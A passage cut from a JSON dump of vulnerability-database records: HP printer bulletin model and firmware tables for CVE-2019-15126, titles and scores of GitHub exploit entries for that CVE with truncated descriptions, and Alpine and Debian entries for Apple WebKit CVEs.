E72525/30/35\n\n| \n\nX3A59A, X3A60A, X3A62A, X3A63A, X3A65A, X3A66A, Z8Z06A, Z8Z07A, Z8Z08A, Z8Z09A, Z8Z010A, Z8Z011A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP LaserJet Managed MFP E82540/50/60\n\nHP LaserJet Managed flow MFP E82540/50/60\n\n| \n\nX3A68A, X3A69A, X3A71A, X3A72A, X3A74A, X3A75A, X3A79A, X3A82A, Z8Z18A, Z8Z19, AZ8Z20A, Z8Z22A, Z8Z23A, 5CM59A, 5RC83A, 5CM58A, 5CM60A, 5RC84A, 5CM61A, 5RC85A, 5FM77A, 5FM78A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP LaserJet Managed MFP M527\n\nHP LaserJet Managed Flow MFP M527cm\n\n| \n\nF2A79A, F2A80A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP PageWide Color 755\n\n| \n\n4PZ47A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP PageWide Color MFP 774\n\n| \n\n4PZ43A, 4PA44A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP PageWide Color MFP 779\n\n| \n\n4PZ45A, 4PZ46A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP PageWide Enterprise Color 556\n\n| \n\nG1W46A, G1W46V, G1W47A, G1W47V\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP PageWide Enterprise Color 765\n\n| \n\nJ7Z04A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP PageWide Enterprise Color Flow MFP 785\n\n| \n\nJ7Z11A, J7Z12A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP PageWide Enterprise Color MFP 586\n\nHP PageWide Enterprise Color flow MFP 586z\n\n| \n\nG1W39A, G1W40A, G1W41A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP PageWide Enterprise Color MFP 780\n\n| \n\nJ7Z09A, J7Z10A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP PageWide Managed Color E55650\n\n| \n\nL3U44A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP PageWide Managed Color E75160\n\n| \n\nJ7Z06A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP PageWide Managed Color flow MFP E77660z\n\n| \n\nZ5G77A, J7Z03A, J7Z07A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP PageWide Managed Color MFP E58650dn\n\nHP PageWide Managed Color flow MFP E58650z\n\n| \n\nL3U42A, L3U43A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP PageWide Managed Color MFP E77650\n\nHP PageWide Managed Color Flow MFP E77650/60z\n\n| \n\nJ7Z13A, Z5G79A, J7Z08A, J7Z14A, J7Z05A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP PageWide Managed Color MFP P77440\n\n| \n\nY3Z60A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP PageWide Managed Color MFP P77940/50/60\n\n| \n\nY3Z61A, Y3Z62A, Y3Z63A, Y3Z64A, Y3Z65A, Y3Z66A, Y3Z68A, 2GP22A, 2GP23A, 2GP25A, 2GP26A, 5ZN98A, 5ZN99A, 5ZP00A, 5ZP01A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP PageWide Managed Color P75250\n\n| \n\nY3Z49A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP ScanJet Enterprise flow N9120 fn2 Document Scanner\n\n| \n\nL2763A\n\n| \n\nFS4: 4.11.0.1 (or higher) \n \nHP Color LaserJet Pro M254\n\n| \n\nT6B59A, T6B60A, T6B61A\n\n| \n\n20201021 (or higher) \n \nHP Color LaserJet Pro MFP M180, M181\n\n| \n\nT6B70A, T6B71A, T6B74A\n\n| \n\n20201021 (or higher) \n \nHP Color LaserJet Pro MFP M377, M477\n\n| \n\nT6B51A, T6B52A\n\n| \n\n20201021 (or higher)\n", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "LOW", "confidentialityImpact": "LOW", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 3.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 1.4}, "published": "2020-09-15T00:00:00", "type": "hp", "title": "HPSBPI03687 rev. 3 - Certain HP LaserJet Printer and MFP Products and JetDirect Print Server Products - Information Disclosure", "bulletinFamily": "software", "cvss2": {"severity": "LOW", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 2.9, "vectorString": "AV:A/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "ADJACENT_NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-15126"], "modified": "2020-11-13T00:00:00", "id": "HP:C06909254", "href": "https://support.hp.com/us-en/document/c06909254", "cvss": {"score": 2.9, "vector": "AV:A/AC:M/Au:N/C:P/I:N/A:N"}}], "githubexploit": [{"lastseen": "2022-07-22T13:51:31", "description": "kr00ker\n============\n\n\n# Description \nThis script is a simple ex...", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "LOW", "confidentialityImpact": "LOW", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 3.1, "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2020-03-18T16:25:28", "type": "githubexploit", "title": "Exploit for Time-of-check Time-of-use (TOCTOU) Race Condition in Apple Ipados", "bulletinFamily": "exploit", "cvss2": {"severity": "LOW", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 2.9, "vectorString": "AV:A/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "ADJACENT_NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-15126"], "modified": "2022-07-22T10:52:01", "id": "1E1A1632-D11F-5A40-9EED-5970D1F1123E", "href": "", "cvss": {"score": 2.9, "vector": "AV:A/AC:M/Au:N/C:P/I:N/A:N"}, "privateArea": 1}, {"lastseen": "2022-08-18T13:54:33", "description": "<!DOCTYPE html>\n<html dir=\"rtl\" lang=\"fa-IR\">\n\n<head>\n\t<meta cha...", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "LOW", "confidentialityImpact": "LOW", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 3.1, "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2020-03-09T11:15:08", "type": "githubexploit", "title": "Exploit for Time-of-check Time-of-use (TOCTOU) Race Condition in Apple Ipados", "bulletinFamily": "exploit", "cvss2": {"severity": "LOW", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 2.9, "vectorString": "AV:A/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "ADJACENT_NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-15126"], "modified": "2021-06-27T23:40:10", "id": "6D5B9C2A-8732-5278-AA40-46601EB81303", "href": "", "cvss": {"score": 2.9, "vector": "AV:A/AC:M/Au:N/C:P/I:N/A:N"}, "privateArea": 1}, {"lastseen": "2021-12-10T14:31:14", "description": "## Installation\n```\n...", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "LOW", "confidentialityImpact": "LOW", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 3.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 1.4}, "published": "2020-04-05T17:46:41", "type": "githubexploit", "title": "Exploit for Time-of-check Time-of-use (TOCTOU) Race Condition in Broadcom Bcm4389 Firmware", "bulletinFamily": "exploit", "cvss2": {"severity": "LOW", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 2.9, "vectorString": "AV:A/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "ADJACENT_NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-15126"], "modified": "2021-12-05T22:26:56", "id": "D6625196-908D-5313-8C7C-3E04AFF78069", "href": "", "cvss": {"score": 2.9, "vector": "AV:A/AC:M/Au:N/C:P/I:N/A:N"}, "privateArea": 1}, {"lastseen": "2022-07-27T13:48:24", "description": "# r00kie-kr00kie\n\n<p align=\"center\">\n <img src=\"https://github....", "cvss3": {"exploitabilityScore": 1.6, "cvssV3": {"baseSeverity": "LOW", "confidentialityImpact": "LOW", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 3.1, "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 1.4}, "published": "2020-03-13T14:53:54", "type": "githubexploit", "title": "Exploit for Time-of-check Time-of-use (TOCTOU) Race Condition in Apple Ipados", "bulletinFamily": "exploit", "cvss2": {"severity": "LOW", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 2.9, "vectorString": "AV:A/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "ADJACENT_NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-15126"], "modified": "2022-07-27T07:11:37", "id": "248CDE77-2B70-56A2-B81C-A0A650A1F22E", "href": "", "cvss": {"score": 2.9, "vector": "AV:A/AC:M/Au:N/C:P/I:N/A:N"}, "privateArea": 1}], "alpinelinux": [{"lastseen": "2023-12-02T17:25:15", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "alpinelinux", "title": "CVE-2019-8815", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8815"], "modified": "2021-05-18T13:14:00", "id": "ALPINE:CVE-2019-8815", "href": "https://security.alpinelinux.org/vuln/CVE-2019-8815", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-12-02T17:25:15", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, watchOS 6.1, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "alpinelinux", "title": "CVE-2019-8811", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8811"], "modified": "2021-12-01T17:19:00", "id": "ALPINE:CVE-2019-8811", "href": "https://security.alpinelinux.org/vuln/CVE-2019-8811", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-02T17:25:15", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "alpinelinux", "title": "CVE-2019-8783", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8783"], "modified": "2021-12-01T17:01:00", "id": "ALPINE:CVE-2019-8783", "href": "https://security.alpinelinux.org/vuln/CVE-2019-8783", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-02T17:25:15", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "alpinelinux", "title": "CVE-2019-8819", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8819"], "modified": "2021-12-01T17:36:00", "id": "ALPINE:CVE-2019-8819", "href": "https://security.alpinelinux.org/vuln/CVE-2019-8819", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-02T17:25:15", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "alpinelinux", "title": "CVE-2019-8814", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8814"], "modified": "2021-05-18T13:12:00", "id": "ALPINE:CVE-2019-8814", "href": "https://security.alpinelinux.org/vuln/CVE-2019-8814", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-12-02T17:25:15", "description": "A logic issue was addressed with improved state management. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0. Processing maliciously crafted web content may lead to universal cross site scripting.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2019-12-18T18:15:00", "type": "alpinelinux", "title": "CVE-2019-8813", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8813"], "modified": "2022-10-14T02:02:00", "id": "ALPINE:CVE-2019-8813", "href": "https://security.alpinelinux.org/vuln/CVE-2019-8813", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2023-12-02T17:25:15", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "alpinelinux", "title": "CVE-2019-8782", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8782"], "modified": "2021-12-01T16:59:00", "id": "ALPINE:CVE-2019-8782", "href": "https://security.alpinelinux.org/vuln/CVE-2019-8782", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-02T17:25:15", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "alpinelinux", "title": "CVE-2019-8821", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8821"], "modified": "2021-12-01T17:41:00", "id": "ALPINE:CVE-2019-8821", "href": "https://security.alpinelinux.org/vuln/CVE-2019-8821", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-02T17:25:15", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "alpinelinux", "title": "CVE-2019-8823", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8823"], "modified": "2021-12-01T17:52:00", "id": "ALPINE:CVE-2019-8823", "href": "https://security.alpinelinux.org/vuln/CVE-2019-8823", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-02T17:25:15", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, watchOS 6.1, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "alpinelinux", "title": "CVE-2019-8820", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8820"], "modified": "2021-12-01T17:34:00", "id": "ALPINE:CVE-2019-8820", "href": "https://security.alpinelinux.org/vuln/CVE-2019-8820", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "debiancve": [{"lastseen": "2023-12-02T18:31:00", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "debiancve", "title": "CVE-2019-8815", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": 